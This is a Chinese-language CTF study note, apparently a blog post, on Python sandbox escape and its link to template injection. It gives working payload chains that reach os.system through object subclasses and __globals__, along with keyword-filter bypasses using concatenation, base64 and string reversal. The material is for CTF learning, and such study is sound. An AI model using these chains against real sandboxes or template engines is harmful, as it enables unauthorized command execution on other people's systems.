感觉跟模板注入差不多,或者说模板注入本质上就是沙箱逃逸?
沙箱:
沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。
经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。
沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。
dir() 用于展示一个对象的属性有哪些
__dict__ 以字典的格式列出来这个类中所支持的方法,属性
__subclasses__() 查看当前类的子类
__dict__魔术方法 以字典的格式列出来这个类中所支持的方法,属性
__getattribute__魔术方法 取得字典中的某种方法
如果过滤了一些危险函数、模块,比如os,这时可以通过继承关系,找到有os相关方法的类,以python2为例
首先找到一个有用的子类
().__class__.__base__.__subclasses__()
这可以列出object的所有子类,其中有个warnings.catch_warnings
,在第61个位置,里面有个操作文件的模块linecache
而linecache
又调用了os,这样就可以命令执行了
如果说不能出现一些敏感字符的话,可以用字符串拼接或者编码绕过
().__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['os'].__dict__['system']('dir')
().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('dir')
().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('dir')
沙箱逃逸题的关键在于绕过,需要用一些特别的操作去绕过他ban掉的函数
简单梳理一下可利用的方法,模块及绕过
调用了os的模块
//Python 2.7.17
59<class 'warnings.WarningMessage'>
90<class 'warnings.catch_warnings'>
40< type 'file'>
72<class 'site._Printer'>
73<class 'site._Helper'>
77<class 'site.Quitter'>
os
import os
os.system('dir')
os.popen('dir').read()
platform
import platform
platform.popen('dir').read()
platform.os.system('dir')
subprocess
__builtins__.__dict__['__import__']('subprocess').__dict__['Popen'](['dir'])
commands
好像只适用于linux
timeit
import timeit
timeit.timeit("__import__('os').system('dir')")
timeit还可以sleep盲注
globals
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
builtins
python的内建函数,里面有很多有用的函数,其中最好用的就是__import__
,有了这就可以导入上述的任意模块
__builtins__.__dict__['__import__']('os').__dict__['system']('dir')
reload
有时候会将__builtins__
中的一些方法移出这时只要reload一下即可
但Python 3.0把reload内置函数移到了imp标准库模块中
reload(__builtins__)
绕过
'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0][0:1] => '_'
相关的题目其实都还比较简单,[CSCCTF 2019 Qual]FlaskLight,攻防世界Web_python_template_injection,有时一个payload基本通杀,不行的话稍微绕一下就行
学习了一下后,发现其实模板注入就是沙箱逃逸,只不过模板注入是有不同的模板引擎,有时需要用该模板特有的模块或函数进行注入逃逸